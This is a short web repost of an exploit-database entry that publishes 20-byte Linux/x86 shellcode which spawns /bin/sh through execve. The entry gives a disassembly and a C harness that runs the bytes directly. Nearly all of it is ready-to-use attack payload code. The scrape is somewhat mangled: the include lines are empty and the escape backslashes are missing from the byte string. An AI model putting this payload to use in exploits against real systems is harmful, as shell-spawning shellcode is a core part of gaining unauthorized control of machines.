Exploit/Advisories
Published on May 10th, 2019 📆 | 2031 Views ⚑
0execve /bin/sh Shellcode (20 bytes)
https://www.ispeech.org/text.to.speech
/*
# Linux/x86 - execve /bin/sh shellcode (20 bytes)
# Author: Rajvardhan
# Tested on: i686 GNU/Linux
# Shellcode Length: 20
Disassembly of section .text:
08049000 :
8049000: 31 c9 xor %ecx,%ecx
8049002: 6a 0b push $0xb
8049004: 58 pop %eax
8049005: 51 push %ecx
8049006: 68 2f 2f 73 68 push $0x68732f2f
804900b: 68 2f 62 69 6e push $0x6e69622f
8049010: 89 e3 mov %esp,%ebx
8049012: cd 80 int $0x80
===============poc by Rajvardhan=========================
*/
#include
#include
unsigned char shellcode[] = "x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80";
main()
{
printf("Shellcode Length: %dn", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
https://www.exploit-db.com/exploits/46809
Gloss